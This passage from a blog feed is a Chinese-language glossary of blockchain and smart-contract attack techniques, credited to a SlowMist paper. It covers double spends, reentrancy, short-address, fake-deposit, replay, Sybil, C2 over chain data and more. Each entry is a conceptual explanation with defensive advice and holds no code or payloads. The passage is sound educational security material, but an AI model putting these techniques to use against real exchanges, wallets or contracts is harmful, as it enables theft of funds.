转到另外一个地址,通常是转到交易所进行套现,然后再利用一些攻击手法对转账交易进行回滚。目前有常见的几种手法能够引发双花攻击:</p><h3 id="1-Race-Attack"><a href="#1-Race-Attack" class="headerlink" title="1.Race Attack"></a>1.Race Attack</h3><p>这种攻击主要通过控制矿工费来实现双花。攻击者同时向网络中发送两笔交易,一笔交易发给自己(为了提高攻击成功的概率,他给这笔交易增加了足够的矿工费),一笔交易发给商家。由于发送给自己的交易中含有较高的手续费,会被矿工优先打包进区块的概率比较高。这时候这笔交易就会先于发给商家的那笔交易,那么发给商家的交易就会被回滚。对于攻击者来说,通过控制矿工费,就实现了同一笔 Token 的“双花”。</p><h3 id="2-Finney-Attack"><a href="#2-Finney-Attack" class="headerlink" title="2.Finney Attack"></a>2.Finney Attack</h3><p>攻击者主要通过控制区块的广播时间来实现双花,攻击对象针对的是接受 0 确认的商家。假设攻击者挖到区块,该区块中包含着一个交易,即 A 向 B 转了一定数量的 Token,其中 A 和 B 都是攻击者的地址。但是攻击者并不广播这个区块,而是立即找到一个愿意接受 0 确认交易的商家向他购买一个物品,向商家发一笔交易,用 A 向商家的地址 C 支付,发给商家的交易广播出去后,攻击者再把自己之前挖到的区块广播出去,由于发给自己的交易先于发给商家的交易,对于攻击者来说,通过控制区块的广播时间,就实现了同一笔 Token 的“双花”。</p><h3 id="3-Vector76-Attack"><a href="#3-Vector76-Attack" class="headerlink" title="3.Vector76 Attack"></a>3.Vector76 Attack</h3><p>Vector76 Attack 又称“一次确认攻击”,也就是交易确认一次后仍然可以回滚,是 Finney Attack 和 Race Attack 的组合。</p><p>攻击者创建两个节点,节点 A 连接到商家节点,节点 B 连接到区块链网络中的其他节点。接着,攻击者用同一笔 Token 发起两笔交易,一笔交易发送给商家地址,我们称为交易 1;一笔交易发送给自己的钱包地址,我们称为交易 2。与上面说的 Race Attack 一样,攻击者对交易 2 添加了较高的矿工费从而提高了矿工的打包概率,此时,攻击者并没有把这两笔交易广播到网络中去。</p><p>接着,攻击者开始在交易 1 所在的分支上进行挖矿,这条分支我们命名为分支 1。攻击者挖到区块后,并没有广播出去,而是同时做了两件事:在节点 A 上发送交易 1,在节点 B 上发送交易 2。</p><p>由于节点 A 只连接了商家节点,所以当商家节点想把交易 1 传给其它对等节点时,连接了更多节点的节点 B,已经把交易 2 广播给了网络中的大部分节点。于是,从概率上来讲,交易 2 就更有可能被网络认定为是有效的,交易 1 被认定为无效。</p><p>交易 2 被认为有效后,攻击者立即把自己之前在分支 1 上挖到的区块,广播到网络中。这时候,这个接受一次确认就支付的商家,会确认交易成功,然后攻击者就可以立即变现并转移资产。</p><p>同时,由于分支 2 连接的更多节点,所以矿工在这个分支上挖出了另一个区块,也就是分支 2 的链长大于分支 1 的链长。于是,分支 1 上的交易就会回滚,商家之前支付给攻击者的交易信息就会被清除,但是攻击者早已经取款,实现了双花。</p><h3 id="4-51-Attack"><a href="#4-51-Attack" class="headerlink" title="4.51% Attack"></a>4.51% Attack</h3><p>目前已知公链安全实践的攻击手法多为51%攻击,攻击者占有超过全网 50% 的算力,在攻击者控制算力的这段时间,他可以创造一条高度大于原来链的新链。那么旧链中的交易会被回滚,攻击者可以使用同一笔 Token 发送一笔新的交易到新链上。</p><h2 id="软分叉-Soft-fork"><a href="#软分叉-Soft-fork" class="headerlink" title="软分叉 Soft-fork"></a>软分叉 Soft-fork</h2><p>软分叉(Soft-fork)更多情况下是一种协议升级,当新共识规则发布后,没有升级的旧节点并不会意识到代码已经发生改变,而继续生产不合法的区块,就会产生临时性分叉,但新节点可以兼容旧节点,即新旧节点始终在同一条链上工作。</p><h2 id="硬分叉-Hard-fork"><a href="#硬分叉-Hard-fork" class="headerlink" title="硬分叉 Hard-fork"></a>硬分叉 Hard-fork</h2><p>硬分叉(Hard-fork)是区块链发生永久性分歧,在新共识规则发布后,已经升级的节点无法验证未升级节点产生的区块,未升级节点也无法验证已经升级的节点产生的区块,即新旧节点互不兼容,通常硬分叉就会发生,原有正常的一条链被分成了两条链(已升级的一条链和未升级的一条链,且这两条链互不兼容)。</p><p>历史上比较著名的硬分叉事件是 The DAO 事件,作为以太坊上的一个著名项目,由于智能合约的漏洞造成资金被黑客转移,黑客盗取了当时价值约 6000 万美元的 ETH,让这个项目蒙受了巨大的损失。为了弥补这个损失,2016 年 7 月,以太坊团队修改了以太坊合约代码实行硬分叉,在第 1920000 个区块强行把 The DAO 及其子 DAO 的所有资金全部转到一个特定的退款合约地址,进而“夺回”了黑客所控制 DAO 合约上的币。但这个修改被一部分矿工所拒绝,因而形成了两条链,一条为原链(以太坊经典,ETC),一条为新的分叉链(ETH),他们各自代表了不同社区的共识和价值观。</p><hr><h1 id="Part5"><a href="#Part5" class="headerlink" title="Part5"></a>Part5</h1><h2 id="异性攻击-Alien-Attack"><a href="#异性攻击-Alien-Attack" class="headerlink" title="异性攻击 Alien Attack"></a>异性攻击 Alien Attack</h2><p>异形攻击(Alien Attack)实际上是一个所有公链都可能面临的问题,又称地址池污染,是指诱使同类链的节点互相侵入和污染的一种攻击手法,漏洞的主要原因是同类链系统在通信协议上没有对不同链的节点做识别。</p><p>这种攻击在一些参考以太坊通信协议实现的公链上得到了复现:以太坊同类链,由于使用了兼容的握手协议,无法区分节点是否属于同个链,利用这一点,攻击者先对以太坊节点地址进行收集并进行恶意握手操作,通过跟节点握手达成污染地址池的目的,使得不同链的节点互相握手并把各自地址池里已知的节点推送给了对方,导致更多的节点互相污染,最终扩散致整个网络。遭受异形攻击的节点通常会通信性能下降,最终造成节点阻塞、主网异常等现象。相关公链需要注意持续保持主网健康状态监测,以免出现影响主网稳定的攻击事件出现。</p><h2 id="钓鱼攻击Phishing"><a href="#钓鱼攻击Phishing" class="headerlink" title="钓鱼攻击Phishing"></a>钓鱼攻击Phishing</h2><p>所谓“钓鱼攻击(Phishing)”,指的是攻击者伪装成可以信任的人或机构,通过电子邮件、通讯软件、社交媒体等方式,以获取收件人的用户名、密码、私钥等私密信息。随着技术的发展,网络钓鱼攻击不仅可以托管各种恶意软件和勒索软件攻击,而且更糟糕的是这些攻击正在呈现不断上升的趋势。</p><p>2018 年 2 月 19 日,乌克兰的一个黑客组织,通过购买谷歌搜索引擎中与加密货币相关的关键词广告,伪装成合法网站的恶意网站链接,从知名加密货币钱包 Blockchain.info 中窃取了价值超过 5000 万美元的数字加密货币。而除了上述这种域名钓鱼攻击(即使用与官网相似的网址)外,其他类型的钓鱼攻击包括邮件钓鱼攻击、Twitter 1 for 10(支付 0.5-10ETH 返利 5-100ETH)、假 App 和假工作人员等。2019 年 6 月份,就有攻击者向多家交易所发送敲诈勒索信息,通过邮件钓鱼攻击获取了超 40 万美元的收益。</p><h2 id="木马攻击-Trojan-Horse-Attack"><a href="#木马攻击-Trojan-Horse-Attack" class="headerlink" title="木马攻击 Trojan Horse Attack"></a>木马攻击 Trojan Horse Attack</h2><p>木马攻击(Trojan Horse Attack)是指攻击者通过隐藏在正常程序中的一段具有特殊功能的恶意代码,如具备破坏和删除文件、发送密码、记录键盘和 DDoS 攻击等特殊功能的后门程序,将控制程序寄生于被控制的计算机系统中,里应外合,对被感染木马病毒的计算机实施操作。可用来窃取用户个人信息,甚至是远程控制对方的计算机而加壳制作,然后通过各种手段传播或者骗取目标用户执行该程序,以达到盗取密码等各种数据资料等目的。</p><p>在区块链领域,诸如勒索木马、恶意挖矿木马一直是行业内令人头疼的安全顽疾,据币世界报道,随着比特币的飙升,推动整个数字加密货币价格回升,与币市密切相关的挖矿木马开始新一轮活跃,仅 2019 年上半年挖矿木马日均新增 6 万个样本,通过分析发现某些新的挖矿木马家族出现了快速、持续更新版本的现象,其功能设计越来越复杂,在隐藏手法、攻击手法方面不断创新,与杀软厂商的技术对抗正在不断增强。</p><h2 id="供应链攻击-Supply-Chain-Attack"><a href="#供应链攻击-Supply-Chain-Attack" class="headerlink" title="供应链攻击 Supply Chain Attack"></a>供应链攻击 Supply Chain Attack</h2><p>供应链攻击(Supply Chain Attack)是一种非常可怕的攻击方式,防御上很难做到完美规避,由于现在的软件工程,各种包/模块的依赖十分频繁、常见,而开发者们很难做到一一检查,默认都过于信任市面上流通的包管理器,这就导致了供应链攻击几乎已经成为必选攻击之一。把这种攻击称成为供应链攻击,是为了形象说明这种攻击是一种依赖关系,一个链条,任意环节被感染都会导致链条之后的所有环节出问题。</p><p>供应链攻击形式多样,它可能出现在任何环节。2018 年 11 月,Bitpay 旗下 Copay 遭遇供应链攻击事件,攻击者的攻击行为隐匿了两个月之久。攻击者通过污染 EvenStream(NPM 包)并在后门中留下针对 Copay 的相关变量数值,对 Copay 发起定向攻击从而窃取用户的私钥信息。而就在2019 年 6 月 4 日,NPM Inc 安全团队刚与 Komodo 联手成功挫败了一起典型的供应链攻击,保护了超过 1300 万美元的数字加密货币资产,攻击者将恶意程序包放入 Agama 的构建链中,通过这种手段来窃取钱包应用程序中使用的钱包私钥和其他登录密码。</p><p>供应链攻击防不胜防且不计代价,慢雾安全团队建议所有数字加密货币相关项目(如交易所、钱包、DApp 等)都应该强制至少一名核心技术完整审查一遍所有第三方模块,看看是否存在可疑代码,也可以通过抓包查看是否存在可疑请求。</p><hr><h1 id="Part6"><a href="#Part6" class="headerlink" title="Part6"></a>Part6</h1><h2 id="智能合约-Smart-Contract"><a href="#智能合约-Smart-Contract" class="headerlink" title="智能合约 Smart Contract"></a>智能合约 Smart Contract</h2><p>智能合约(Smart Contract)并不是一个新的概念,早在 1995 年就由跨领域法律学者 Nick Szabo 提出:智能合约是一套以数字形式定义的承诺(Promises),包括合约参与方可以在上面执行这些承诺的协议。在区块链领域中,智能合约本质可以说是一段运行在区块链网络中的代码,它以计算机指令的方式实现了传统合约的自动化处理,完成用户所赋予的业务逻辑。</p><p>随着区块链智能合约数量的与日俱增,随之暴露出来的安全问题也越来越多,攻击者常能利用漏洞入侵系统对智能合约用户造成巨大损失,据 SlowMist Hacked 统计,截止目前仅 ETH、EOS、TRON 三条链上因智能合约被攻击而导致的损失就高达 $126,883,725.92,具有相同攻击特征的手法更是呈现出多次得手且跨公链的趋势,接下来我们将为大家介绍近年来一些常见的智能合约攻击手法。</p><h2 id="交易回滚攻击-Roll-Back-Attack"><a href="#交易回滚攻击-Roll-Back-Attack" class="headerlink" title="交易回滚攻击 Roll Back Attack"></a>交易回滚攻击 Roll Back Attack</h2><p>交易回滚攻击(Roll Back Attack),故名思义,指的是能对交易的状态进行回滚。回滚具体是什么意思呢?回滚具体指的是将已经发生的状态恢复成它未发生时候的样子。那么,交易回滚的意思就是将已经发生的交易变成未发生的状态。即攻击者本来已经发生了支付动作,但是通过某些手段,让转账流程发生错误,从而回滚整个交易流程,达到交易回滚的目的,这种攻击手法多发于区块链上的的智能合约游戏当中,当用户的下注动作和合约的开奖动作在一个交易内的时候,即内联交易。攻击者就可以通过交易发生时检测智能合约的某些状态,获知开奖信息,根据开奖信息选择是否对下注交易进行回滚。</p><h2 id="交易排挤攻击-Transaction-Congestion-Attack"><a href="#交易排挤攻击-Transaction-Congestion-Attack" class="headerlink" title="交易排挤攻击 Transaction Congestion Attack"></a>交易排挤攻击 Transaction Congestion Attack</h2><p>交易排挤攻击(Transaction Congestion Attack)是针对 EOS 上的使用 defer 进行开奖的游戏合约的一种攻击手法,攻击者可以通过某些手段,在游戏合约的 defer 开奖交易前发送大量的 defer 交易,恶意侵占区块内的 CPU 资源,使得智能合约内本应在指定区块内执行的 defer 开奖交易因资源不足无法执行,只能去到下一个区块才执行。由于很多 EOS 上的游戏智能合约使用区块信息作为智能合约本身的随机数,同一个 defer 开奖交易在不同区块内的执行结果是不一样的。通过这样的方式,攻击者在获知无法中奖的时候,就通过发送大量的 defer 交易,强行让智能合约重新开奖,从而达到攻击目的。</p><p>该攻击手法最早在黑客 loveforlover 向 EOS.WIN 发起攻击时被发现,随后相同的攻击手法多次得手,据 SlowMist Hacked 统计仅 2019 年就有 22 个竞猜类 DApp 因此损失了大量资金。</p><h2 id="随机数攻击-Random-Number-Attack"><a href="#随机数攻击-Random-Number-Attack" class="headerlink" title="随机数攻击 Random Number Attack"></a>随机数攻击 Random Number Attack</h2><p>随机数攻击(Random Number Attack),就是针对智能合约的随机数生成算法进行攻击,预测智能合约的随机数。目前区块链上很多游戏都是采用的链上信息(如区块时间,未来区块哈希等)作为游戏合约的随机数源,也称随机数种子。使用这种随机数种子生成的随机数被称为伪随机数。伪随机数不是真的随机数,存在被预测的可能。当使用可被预测的随机数种子生成随机数的时候,一旦随机数生成的算法被攻击者猜测到或通过逆向等其他方式拿到,攻击者就可以根据随机数的生成算法预测游戏即将出现的随机数,实现随机数预测,达到攻击目的。</p><hr><h1 id="Part7"><a href="#Part7" class="headerlink" title="Part7"></a>Part7</h1><h2 id="hard-fail-状态攻击-hard-fail-Attack"><a href="#hard-fail-状态攻击-hard-fail-Attack" class="headerlink" title="hard_fail 状态攻击 hard_fail Attack"></a>hard_fail 状态攻击 hard_fail Attack</h2><p>hard_fail 是什么呢?简单来说就是出现错误但是没有使用错误处理器(error handler)处理错误,比方说使用 onerror 捕获处理,如果说没有 onerror 捕获,就会 hard_fail。EOS 上的交易状态记录分为 executed, soft_fail, hard_fail, delayed 和 expired 这 5 种状态,通常在链上大部分人观察到的交易,都是 executed 的,或者 delayed 的,而没有失败的交易,这就导致大部分开发者误以为 EOS 链上没有失败的交易记录,从而忽略了对交易状态的检查。攻击者利用这个细节,针对链上游戏或交易所进行攻击,构造执行状态为 hard_fail 的交易,欺骗链上游戏或交易所进行假充值攻击,从而获利。</p><h2 id="重放攻击-Replay-Attack"><a href="#重放攻击-Replay-Attack" class="headerlink" title="重放攻击 Replay Attack"></a>重放攻击 Replay Attack</h2><p>重放攻击(Replay Attack),是针对区块链上的交易信息进行重放,一般来说,区块链为了保证不可篡改和防止双花攻击的发生,会对交易进行各种验证,包括交易的时间戳,nonce,交易 id 等,但是随着各种去中心化交易所的兴起,在智能合约中验证用户交易的场景越来越多。这种场景一般是需要用户对某一条消息进行签名后上传给智能合约,然后在合约内部进行验签。但由于用户的签名信息是会上链的,也就是说每个人都能拿到用户的签名信息,当在合约中校验用户签名的时候,如果被签名的消息不存在随着交易次数变化的变量,如时间戳,nonce 等,攻击者就可以拿着用户的签名,伪造用户发起交易,从而获利。</p><p>这是一种最早出现于 DApp 生态初期的攻击形态,由于开发者设计的开奖随机算法存在严重缺陷,使得攻击者可利用合约漏洞重复开奖,属于开发者较为容易忽略的错误。因此,开发者们在链上进行验签操作的时候,需要对被签名消息加上各种可变因子,防止攻击者对链上签名进行重放,造成资产损失。</p><h2 id="重入攻击-Reentrancy-Attack"><a href="#重入攻击-Reentrancy-Attack" class="headerlink" title="重入攻击 Reentrancy Attack"></a>重入攻击 Reentrancy Attack</h2><p>重入攻击(Reentrancy Attack)首次出现于以太坊,对应的真实攻击为 The DAO 攻击,此次攻击还导致了原来的以太坊分叉成以太经典(ETC)和现在的以太坊(ETH)。由于项目方采用的转账模型为先给用户发送转账然后才对用户的余额状态进行修改,导致恶意用户可以构造恶意合约,在接受转账的同时再次调用项目方的转账函数。利用这样的方法,导致用户的余额状态一直没有被改变,却能一直提取项目方资金,最终导致项目方资金被耗光。</p><h2 id="假充值攻击-False-Top-up"><a href="#假充值攻击-False-Top-up" class="headerlink" title="假充值攻击 False Top-up"></a>假充值攻击 False Top-up</h2><p>假充值攻击(False Top-up),分为针对智能合约的假充值攻击和对交易所的假充值攻击。在假充值攻击中,无论是智能合约还是交易所本身,都没有收到真实的 Token,但是用户又确实得到了真实的充值记录,在这种情况下,用户就可以在没有真正充值的情况下从智能合约或交易所中用假资产或不存在的资产窃取真实资产。</p><h3 id="1-智能合约假充值攻击"><a href="#1-智能合约假充值攻击" class="headerlink" title="1.智能合约假充值攻击"></a>1.智能合约假充值攻击</h3><p>针对智能合约的假充值主要是假币的假充值,这种攻击手法多发于 EOS 和波场上,由于 EOS 上代币都是采用合约的方式进行发行的,EOS 链的系统代币同样也是使用这种方式发行,同时,任何人也可以发行名为 EOS 的代币。只是发行的合约帐号不一样,系统代币的发行合约为 “eosio.token”,而其他人发行的代币来源于其他合约帐号。当合约内没有校验 EOS 代币的来源合约的时候,攻击者就能通过充值攻击者自己发布的 EOS 代币,对合约进行假充值攻击。而波场上的假充值攻击主要是 TRC10 代币的假充值攻击,由于每一个 TRC10 都有一个特定的 tokenid 进行识别,当合约内没有对 tokenid 进行校验的时候,任何人都可以以 1024 个 TRX 发行一个 TRC10 代币对合约进行假充值。</p><h3 id="2-交易所假充值攻击"><a href="#2-交易所假充值攻击" class="headerlink" title="2.交易所假充值攻击"></a>2.交易所假充值攻击</h3><p>针对交易所的假充值攻击分为假币攻击和交易状态失败的假充值攻击。以 EOS 和以太坊为例。针对 EOS 可以使用名为 EOS 的假币的方式对交易所进行假充值攻击,如果交易所没有严格校验 EOS 的来源合约为 “eosio.token”,攻击就会发生。同时,区别于 EOS,由于以太坊上会保留交易失败的记录,针对 ERC20 Token,如果交易所没有校验交易的状态,就能通过失败的交易对交易所进行 ERC20 假充值。除此之外,hard_fail 状态攻击也是属于假充值攻击的一种。</p><h1 id="Part8"><a href="#Part8" class="headerlink" title="Part8"></a>Part8</h1><h2 id="短地址攻击-Short-Address-Attack"><a href="#短地址攻击-Short-Address-Attack" class="headerlink" title="短地址攻击 Short Address Attack"></a>短地址攻击 Short Address Attack</h2><p>短地址攻击(Short Address Attack)是针对以太坊上 ERC20 智能合约的一种攻击形式,利用的是 EVM 中的对于输入字节码的自动补全机制进行攻击。</p><p>一般而言,针对 ERC20 合约中的 transfer 函数的调用,输入的字节码位数都是 136 字节的。当调用 ERC20 中的 transfer 函数进行 ERC20 Token 转账时,如果攻击者提供的地址后有一个或多个 0,那么攻击者就可以把地址后的零省去,提供一个缺位的地址。当对这个地址转账的时候,比方说转账 100 的 A Token,然后输入的地址是攻击者提供的缺位地址,这时候,经过编码输入的数据是 134 字节,比正常的数据少了 2 字节,在这种情况下,EVM 就会对缺失的字节位在编码数据的末尾进行补 0 凑成 136 字节,这样本来地址段缺失的 0 被数据段的 0 补齐了,而由于给地址段补 0,数据段会少 0,而数据段缺失的 0 由 EVM 自动补齐,这就像数据段向地址段移动补齐地址段缺失字节位,然后数据段缺失的字节位由 EVM 用 0 补齐。这种情况下,转账金额就会由 100 变成 100 * 16 的 n 次方,n 是地址缺失的 0 的个数。通过这种方式,攻击者就能对交易所或钱包进行攻击,盗窃交易所和钱包的资产。</p><h2 id="假币攻击-Fake-Token-Attack"><a href="#假币攻击-Fake-Token-Attack" class="headerlink" title="假币攻击 Fake Token Attack"></a>假币攻击 Fake Token Attack</h2><p>假币攻击(Fake Token Attack),是针对那些在创建官方 Token 时采用通用创建模版创建出来的代币,每个 Token 的识别仅根据特定的标记进行识别,如 EOS 官方 Token 的识别标记是 “eosio.token”合约,波场的 TRC10 的识别标记是 tokenid,以太坊的 ERC20 是用合约地址作为识别标记。那么这样就会出现一个问题,如果收款方在对这些 Token 进行收款的时候没有严格校验这些 Token 特有的标记,攻击就会发生,以 EOS 为例子,由于 EOS 官方 Token 采用的是合约来发行一个名为 EOS 的 Token,标记 EOS 本身的标识是 “eosio.token” 这个发行帐号,如果在接受转账的时候没有校验这个标识,攻击者就能用其他的帐号同样发行一个名为 EOS 的 Token,对交易所或钱包进行假币充值,换取真的代币。</p><p>2019 年 4 月 11 日,波场 Dapp TronBank 1 小时内被盗走约 1.7 亿枚 BTT(价值约 85 万元)。监测显示,黑客创建了名为 BTTx 的假币向合约发起“ invest ”函数,而合约并没有判定发送者的代币 id 是否与 BTT 真币的 id 1002000 一致。因此黑客拿到真币 BTT 的投资回报和推荐奖励,以此方式迅速掏空资金池。对此,交易所和钱包在处理转账的时候,切记要严格检验各种代币各种标识,防止假币攻击。</p><h2 id="整型溢出攻击-Integer-Overflow-Attack"><a href="#整型溢出攻击-Integer-Overflow-Attack" class="headerlink" title="整型溢出攻击 Integer Overflow Attack"></a>整型溢出攻击 Integer Overflow Attack</h2><p>数据的存储是区块链上重要的一环。但是每个数据类型本身是存在边界的,例如以太坊中 uint8 类型的变量就只能存储 0~255 大小的数据,超过了就存不下了。那么如果要放一个超过数据类型大小的数字会怎样呢?例如把 256 存进 uint8 的数据类型中,数据显示出来会变成 1,而不是其他数值,也不会报错,因为 uint8 本身能存一个 8 位二进制数字,最大值为 11111111,如果这个时候加 1,这个二进制数就变成了 100000001,而因为数据边界的关系,只能拿到后 8 位,也就是 00000001,那么数字的大小就变成 1 了,这种情况我们称为上溢。有上就有下,下溢的意思就是一个值为 0 的 uint8 数据,如果这个时候对它进行减 1 操作,结果会变成该数据类型所能存储的最大值加 1 减去被减数,在这个例子中是 255,也就是该数据类型所能存储的最大值。那么如果上述两种情况发生在智能合约当中的话,恶意用户通过下溢的操作,操纵自己的帐号向其他帐号发送超过自己余额数量的代币,如果合约内没有对余额进行检查,恶意用户的余额就会下溢出变成一个超大的值,这个时候攻击者如果大量抛售这些代币,就能瞬间破坏整个代币的价值系统。</p><h2 id="条件竞争攻击-Race-Condition"><a href="#条件竞争攻击-Race-Condition" class="headerlink" title="条件竞争攻击 Race Condition"></a>条件竞争攻击 Race Condition</h2><p>条件竞争(Race Condition)攻击的方式很多样,但是核心的本质无非是对某个条件的状态修改的竞争,如上面介绍的重入漏洞,也是条件竞争的一种,针对的是用户余额这个条件进行竞争,只要用户的余额没有归零,用户就能一直提走智能合约的钱。这次介绍的条件竞争的例子是最近发生的著名的 Edgeware 锁仓合约的拒绝服务漏洞,详情可参考:<a href="http://mp.weixin.qq.com/s?__biz=MzU4ODQ3NTM2OA==&mid=2247484631&idx=2&sn=42b1cc849ed6a25d35bb24ed669af642&chksm=fddd7a50caaaf346422e923e1709ff1bf051073ba86f51b4338d6526f8da3f693330a03461b5&scene=21#wechat_redirect" target="_blank" rel="noopener">关于 Edgeware 锁仓合约的拒绝服务漏洞</a>。这个漏洞问题的本质在于对新建的锁仓合约的余额的这个条件进行竞争。攻击者可以监控所有链上的锁仓请求,提前计算出锁仓合约的地址,然后向合约地址转账,造成锁仓失败。在官方没有修复之前,要防止这种攻击,只能使用比攻击者更高的手续费让自己的锁仓交易先行打包,从而与攻击者形成竞争避免攻击。最后,官方修复方案为不对锁仓合约的余额进行强制性的相等检查,而是采用大于等于的形式,避免了攻击的发生。</p><hr><h1 id="Part9"><a href="#Part9" class="headerlink" title="Part9"></a>Part9</h1><h2 id="越权访问攻击-Exceed-Authority-Access-Attack"><a href="#越权访问攻击-Exceed-Authority-Access-Attack" class="headerlink" title="越权访问攻击 Exceed Authority Access Attack"></a>越权访问攻击 Exceed Authority Access Attack</h2><p>在区块链的世界当中,一笔交易内可能含有多个不同的交易,而这些交易执行的顺序会影响最终的交易的执行结果,由于在挖矿机制的区块链中,交易未被打包前都处于一种待打包的 pending 状态,如果能事先知道交易里面执行了哪些其他交易,恶意用户就能通过增加矿工费的形式,发起一笔交易,让交易中的其中一笔交易先行打包,扰乱交易顺序,造成非预期内的执行结果,达成攻击。以以太坊为例,假如存在一个 Token 交易平台,这个平台上的手续费是通过调控合约中的参数实现的,假如某天平台项目方通过一笔交易请求调高交易手续费用,这笔交易被打包后的所有买卖 Token 的交易手续费都要提升,正确的逻辑应该是从这笔交易开始往后所有的 Token 买卖交易的手续费都要提升,但是由于交易从发出到被打包存在一定的延时,请求修改交易手续费的交易不是立即生效的,那么这时恶意用户就可以以更高的手续费让自己的交易先行打包,避免支付更高的手续费。</p><h2 id="女巫攻击-Sybil-Attack"><a href="#女巫攻击-Sybil-Attack" class="headerlink" title="女巫攻击 Sybil Attack"></a>女巫攻击 Sybil Attack</h2><p>传闻中女巫是一个会魔法的人,一个人可以幻化出多个自己,令受害人以为有多人,但其实只有一个人。在区块链世界中,女巫攻击(Sybil Attack)是针对服务器节点的攻击。攻击发生时候,通过某种方式,某个恶意节点可以伪装成多个节点,对被攻击节点发出链接请求,达到节点的最大链接请求,导致节点没办法接受其他节点的请求,造成节点拒绝服务攻击。以 EOS 为例,慢雾安全团队曾披露过的 EOS P2P 节点拒绝服务攻击实际上就是女巫攻击的一种,攻击者可以非常小的攻击成本来达到瘫痪主节点的目的。</p><p><a href="https://github.com/slowmist/papers/blob/master/EOSIO-P2P-Sybil-Attack/zh.md">攻击原理</a></p><h2 id="假错误通知攻击-Fake-Onerror-Notification-Attack"><a href="#假错误通知攻击-Fake-Onerror-Notification-Attack" class="headerlink" title="假错误通知攻击 Fake Onerror Notification Attack"></a>假错误通知攻击 Fake Onerror Notification Attack</h2><p>EOS 上存在各种各样的通知,只要在 action 中添加 require_recipient 命令,就能对指定的帐号通知该 action,在 EOS 上某些智能合约中,为了用户体验或其他原因,一般会对 onerror 通知进行某些处理。如果这个时候没有对 onerror 通知的来源合约是否是 eosio 进行检验的话,就能使用和假转账通知同样的手法对合约进行攻击,触发合约中对 onerror 的处理,从而导致被攻击合约资产遭受损失。</p><hr><h1 id="Part10"><a href="#Part10" class="headerlink" title="Part10"></a>Part10</h1><h2 id="粉尘攻击-Dusting-Attack"><a href="#粉尘攻击-Dusting-Attack" class="headerlink" title="粉尘攻击 Dusting Attack"></a>粉尘攻击 Dusting Attack</h2><p>粉尘攻击(Dusting Attack)最早发生于比特币网络当中,所谓粉尘,指的是交易中的交易金额相对于正常交易而言十分地小,可以视作微不足道的粉尘。通常这些粉尘在余额中不会被注意到,许多持币者也很容易忽略这些余额。但是由于比特币或基于比特币模型的区块链系统的账本模型是采用 UTXO 模型作为账户资金系统,即用户的每一笔交易金额,都是通过消费之前未消费的资金来产生新的资金。别有用意的用户,就能通过这种机制,给大量的账户发送这些粉尘金额,令交易粉尘化,然后再通过追踪这些粉尘交易,关联出该地址的其他关联地址,通过对这些关联地址进行行为分析,就可以分析一个地址背后的公司或个人,破坏比特币本身的匿名性。除此之外,由于比特币网络区块容量大小的限制,大量的粉尘交易会造成区块的拥堵,从而使得交易手续费提升,进而产生大量待打包交易,降低系统本身的运行效率。</p><p>对于如何避免粉尘攻击,可以在构造交易的过程中,根据交易的类型,计算出交易的最低金额,同时对每个输出进行判断,如果低于该金额,则不能继续构造该笔交易。特别的,如果这个输出刚好发生在找零上,且金额对于你来说不太大,则可以通过舍弃该部分的粉尘输出,以充作交易手续费来避免构造出粉尘交易。</p><h2 id="C2攻击-C2-Attack"><a href="#C2攻击-C2-Attack" class="headerlink" title="C2攻击 C2 Attack"></a>C2攻击 C2 Attack</h2><p>C2 全称 Command and Control,翻译过来就是命令执行与控制,在传统的网络攻击中,在通过各种漏洞进入到目标服务器后,受限于空间,通常通过网络拉取二段 exploit 进行驻留,实现后渗透流程。所以,C2 架构也就可以理解为,恶意软件通过什么样的方式获取资源和命令,以及通过什么样的方式将数据回传给攻击者。在传统的攻击手法中,攻击者一般通过远程服务器拉取命令到本地执行,但是这种方式也有很明显的缺点,就是一旦远程服务器被发现,后续渗透活动就无法正常进行。但是区块链网络提供了一个天然且不可篡改的大型数据库,攻击者通过把攻击荷载(payload)写进交易中,并通过发送交易把该命令永久的刻在区块链数据库中。通过这种方法,即使攻击命令被发现,也无法篡改链上数据,无需担心服务器被发现然后下线的风险。</p><p>新技术不断发展,旧有的攻击手法也在随着新技术的变换而不断迭代更新。在区块链的世界中只有在各方面都做好防范,才能避免来自各方面的安全攻击。</p><h2 id="洗币-Money-Laundering"><a href="#洗币-Money-Laundering" class="headerlink" title="洗币 Money Laundering"></a>洗币 Money Laundering</h2><p>洗币和洗钱是一样的,只是对象不同,洗钱指的是将一笔非法得到的金钱通过某些操作后变成正当、合法的收入。而洗币也是一样,指的是将非法获取的代币,如通过黑客攻击、携带用户资产跑路或通过诈骗等手段获取的代币,通过某些手段,将其来源变成正当、合法的来源。如通过交易所进行洗币、智能合约中洗币或通过某些搅拌器进行中转、通过匿名币种如门罗币,Zcash 等,令非法所得的资金无法被追踪,最后成功逃过监管达到洗币的目的,然后通过把代币转换成法币离场,完成洗币的流程。</p><h2 id="勒索-Ransom"><a href="#勒索-Ransom" class="headerlink" title="勒索 Ransom"></a>勒索 Ransom</h2><p>勒索是传统行业中常见的攻击行为,攻击者通过向受害者主机发送勒索病毒对主机文件进行加密来向受害者进行资金勒索。随着区块链技术的发展,近年来,勒索开始呈现新的方式,如使用比特币作为勒索的资金支付手段或使用匿名性更高的门罗币作为资金支付手段。如著名的 GandCrab 病毒就是比特币勒索病毒,受害者需要向攻击者支付一定量的比特币换取解密私钥。通过这种勒索手段,GandCrab 勒索病毒一年就勒索了超过 20 亿美金。值得一提的是,就算向攻击者发送比特币,也不一定能换取解密私钥,造成“人财两空”的局面。除此之外,慢雾安全团队还捕获到某些攻击者通过发送勒索邮件,谎称检测到交易所的漏洞,需要支付一定金额的比特币才能提供解决方案。这种勒索方式也是区块链行业近来越来越流行的勒索手段。</p><p>以上来源:<a href="https://paper.seebug.org/973/" target="_blank" rel="noopener">https://paper.seebug.org/973/</a></p><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<categories>
<category> Block Chain </category>
</categories>
<tags>
<tag> Block Chain </tag>
</tags>
</entry>
<entry>
<title>一步一步学pwn|格式化字符串(1)</title>
<link href="/2020/05/19/gen-zhao-ctf-wiki-xue-pwn-ge-shi-hua-zi-fu-chuan-1/"/>
<url>/2020/05/19/gen-zhao-ctf-wiki-xue-pwn-ge-shi-hua-zi-fu-chuan-1/</url>
